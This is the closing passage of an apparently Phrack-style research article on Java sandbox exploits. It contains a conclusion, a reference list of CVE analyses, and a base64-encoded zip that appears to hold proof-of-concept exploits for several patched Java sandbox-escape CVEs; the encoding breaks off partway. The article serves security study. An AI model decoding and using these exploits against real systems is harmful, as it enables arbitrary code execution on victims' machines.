This vulnerability shows that specificities of the serialization protocol (only a specific constructor is called) can be exploited together with vulnerable system code that deserializes analyst‑controlled data in a privileged context to bypass the sandbox and run arbitrary code. As the serialization protocol cannot be easily modified for backward compatibility reasons, the vulnerable code has been patched.

‑‑[ 5 ‑ Conclusion

In this article, we focused on the Java platform's complex security model, which has been attacked for roughly two decades now. We showed that the platform comprises native components (like the Java virtual machine), as well as a large body of Java system classes (the JCL), and that there has been a broad range of different attacks on both parts of the system. This includes low‑level attacks such as memory corruption vulnerabilities on the one hand, but also Java‑level attacks on policy enforcement, like trusted‑method‑chaining attacks for example. This highlights how difficult a task it is to secure the platform for practical use.

We presented this article as a case study to illustrate how a complex system such as the Java platform fails at securely containing the execution of potentially malicious code. Hopefully, this overview of past Java exploits provides insights that help us design more robust systems in the future.

‑‑[ 6 ‑ References

[1] Aleph One. "Smashing The Stack For Fun And Profit." Phrack 49 1996

[2] Oracle. "The History of Java Technology." http://www.oracle.com/technetwork/java/javase/overview/javahistory‑index‑19

8355.html, 2018

[3] Drew Dean, Edward W. Felten, Dan S. Wallach. "Java security: From HotJava to Netscape and beyond." In Security & Privacy, IEEE, 1996

[4] Joshua J. Drake. "Exploiting memory corruption vulnerabilities in the java runtime." 2011

[5] Esteban Guillardoy. "Java 0day analysis (CVE‑2012‑4681)." https://immunityproducts.blogspot.com/2012/08/java‑0day‑analysis‑cve‑2012‑4

681.html, 2012

[6] Jeong Wook Oh. "Recent Java exploitation trends and malware." Presentation at Black Hat Las Vegas, 2012

[7] Security Explorations. "Oracle CVE ID Mapping SE ‑ 2012 ‑ 01, Security vulnerabilities in Java SE." 2012

[8] Brian Gorenc, Jasiel Spelman. "Java every‑days exploiting software running on 3 billion devices." In Proceedings of BlackHat security conference, 2013

[9] Xiao Lee and Sen Nie. "Exploiting JRE ‑ JRE Vulnerability: Analysis & Hunting." Hitcon, 2013

[10] Matthias Kaiser. "Recent Java Exploitation Techniques." HackPra, 2013

[11] Google, https://blog.chromium.org/2014/11/the‑final‑countdown‑for‑npapi.html. "The

Final Countdown for NPAPI." 2014

[12] Mozilla, https://blog.mozilla.org/futurereleases/2015/10/08/npapi‑plugins‑in‑firefox

/. "NPAPI Plugins in Firefox." 2015

[13] Alexandre Bartel, Jacques Klein, Yves Le Traon. "Exploiting CVE‑2017‑3272." In Multi‑System & Internet Security Cookbook (MISC), May 2018

[14] Red Hat. "CVE‑2017‑3272 OpenJDK: insufficient protected field access checks in atomic field updaters (Libraries, 8165344)." Bugzilla ‑ Bug 1413554 https://bugzilla.redhat.com/show_bug.cgi?id=1413554 2017

[15] Norman Maurer. "Lesser known concurrent classes Atomic*FieldUpdater." In http://normanmaurer.me/blog/2013/10/28/Lesser‑known‑concurrent‑classes‑Part

‑1/

[16] Jeroen Frijters. "Arraycopy HotSpot Vulnerability Fixed in 7u55 (CVE‑2014‑0456)." In IKVM.NET Weblog, 2014

[17] NIST. "CVE‑2016‑3587." https://nvd.nist.gov/vuln/detail/CVE‑2016‑3587

[18] Vincent Lee. "When Java throws you a Lemon, make Limenade: Sandbox escape by type confusion." In https://www.zerodayinitiative.com/blog/2018/4/25/when‑java‑throws‑you‑a‑lem

on‑make‑limenade‑sandbox‑escape‑by‑type‑confusion

[19] Red Hat. "CVE‑2015‑4843 OpenJDK: java.nio Buffers integer overflow issues (Libraries, 8130891)." Bugzilla ‑ Bug 1273053 https://bugzilla.redhat.com/show_bug.cgi?id=1273053, 2015

[20] Alexandre Bartel. "Exploiting CVE‑2015‑4843." In Multi‑System & Internet Security Cookbook (MISC), January 2018

[21] Oracle. "The Java Virtual Machine Specification, Java SE 7 Edition: 4.10.2.4. Instance initialization methods and newly created objects." http://docs.oracle.com/javase/specs/jvms/se7/html/

jvms‑4.html#jvms‑4.10.2.4, 2013

[22] National Vulnerability Database. "Vulnerability summary for cve‑2017‑3289." https://nvd.nist.gov/vuln/detail/CVE‑2017‑3289

[23] Redhat. "Bug 1413562 ‑ (cve‑2017‑3289) cve‑2017‑3289 openjdk: insecure class construction (hotspot, 8167104)." https://bugzilla.redhat.com/show

bug.cgi?id=1413562.

[24] OpenJDK. "Openjdk changeset 8202:02a3d0dcbedd jdk8u121‑b08 8167104: Additional class construction refinements." http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/rev/02a3d0dcbedd.

[25] Oracle. "The java virtual machine specification, java se 7 edition: 4.7.4. the stackmaptable attribute." http://docs.oracle.com/javase/specs/jvms/se7/html/ jvms‑4.html#jvms‑4.7.4,

2013

[26] "Request for review (s): 7020118." http://mail.openjdk.java.net/pipermail/hotspot‑runtime‑dev/2011‑February/00

1866.html

[27] Philipp Holzinger, Stephan Triller, Alexandre Bartel, and Eric Bodden. "An in‑depth study of more than ten years of java exploitation." In Proceedings of the 23rd ACM Conference on Computer and Communications

[28] Eric Bruneton. "ASM, a Java bytecode engineering library." http://download.forge.objectweb.org/asm/asm‑guide.pdf

[29] LSD Research Group et al.. "Java and java virtual machine security, vulnerabilities and their exploitation techniques." In Black Hat Briefings, 2002

[30] Drew Dean, Edward W Felten, and Dan S Wallach. "Java security: From hotjava to netscape and beyond." In Proceedings, IEEE Symposium on Security and Privacy, 1996, pages 190‑200

[31] Cristina Cifuentes, Nathan Keynes, John Gough, Diane Corney, Lin Gao, Manuel Valdiviezo, and Andrew Gross. "Translating java into llvm ir to detect security vulnerabilities." In LLVM Developer Meeting, 2014

[32] Sami Koivu. "Java Trusted Method Chaining (CVE‑2010‑0840/ZDI‑10‑056)."

[33] Oracle. "JList." https://docs.oracle.com/javase/7/docs/api/javax/swing/JList.html

[34] Oracle. "Interface Serializable." https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html

[35] Sami Koivu, Matthias Kaiser. "CVE‑2010‑0094." https://github.com/rapid7/metasploit‑framework/tree/master/external/source/

exploits/CVE‑2010‑0094

‑‑[ 7 ‑ Attachments

>>>base64‑begin code.zip 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 YOnYo1BY5ifScI5OxMLRgKxa2rsTFsM/EyB3KY1ByFJjueM7L2XEeDiTHddx5P5nUtao0dLa57f dvOyd9gtEd8HJDbDDRxWTncYQZ+6E3C4sccGSzYsLRo+vUEsDBBQAAAAIAHJv2Ux5M/yrwQAAAD gBAAAxABwAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQwL0xpbmsuamF2Y VVUCQADKNkwW5fZMFt1eAsAAQToAwAABOgDAABNjcFuwkAMRO/+ijmmEQofkDMnWjjQW9XDJlh0 6cZZ7XorUMW/1ylBwbJ9sGfekB/imBRn9+Oajp3kZnOJiXP2o7T0/C3qQ/PmYku0rmtCDZs1xdI F36MPLme8evkGX5TlmLGAYJzAA4tmvHNW/BIBxmo2oukKnnZrJ+uZN5GqfXfmXqEunVhXOGjycs LA+jUed27gFe6Kj0+YpPwHvBgcVrlETtXD+uxZpFPkjZbQOc8cW75WD1JiLUkgJYTZcKM/UEsDB BQAAAAIAHJv2Uzo6Zos4AAAAFMBAAAxABwAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUt MjAxMC0wODQwL1Rlc3QuamF2YVVUCQADKNkwW5fZMFt1eAsAAQToAwAABOgDAABNkLFOAzEQRPv 7iikhxeUDaGhSAaIgSr/nbM4bfLZlrzkQ4t9Zn1JEcjWemTf2fjdgh6OXCjvXVhWEHMixT+HMBS 5QrSPwKvETsuTAC0et0B6pCT0uCkcRE6Pwlj2DLtrDackSSCVFrKIeb5THQ9TygyrRsbF6PqayU Li5LbZKCCbalBDSClfYKuJs7m2NsUnvt/QO40s05sXwZiipzd4Uz0WUDDWaqfueqalPBR+0CF6S fDVT90NuUxB3V3Fk+4rfAVaO2+X7dGWnmFlPFBo/PG6cteLw7Tj3Rz4Nw9/wD1BLAwQUAAAACAB yb9lM7Ckgn5MAAAAGAQAAMQAcAGNvZGUvdHJ1c3RlZC1tZXRob2QtY2hhaW5fQ1ZFLTIwMTAtMD g0MC9ob3d0by50eHRVVAkAAyjZMFuX2TBbdXgLAAEE6AMAAAToAwAAZY/BCsIwEETv+YqFnk3ai 4JXQS8WPHiXNA24bbIJTVp/32hohHqb2Z15MBUoZz0azYSX8SmiE0M/NvzAa9EhiUEuUkGLhFYa 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 